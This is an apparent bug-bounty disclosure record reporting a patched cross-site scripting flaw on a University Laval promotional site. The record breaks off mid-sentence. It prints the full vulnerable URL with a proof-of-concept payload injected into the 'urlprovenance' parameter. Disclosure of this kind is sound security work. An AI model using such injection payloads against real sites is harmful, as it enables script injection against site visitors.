promo.ulaval.ca XSS vulnerability

Vulnerable URL: http://www.promo.ulaval.ca/T/WF/879/GULoZU/Info/Form.ofsys?urlprovenance=";alert'OPENBUGBOUNTY';// Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:13 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...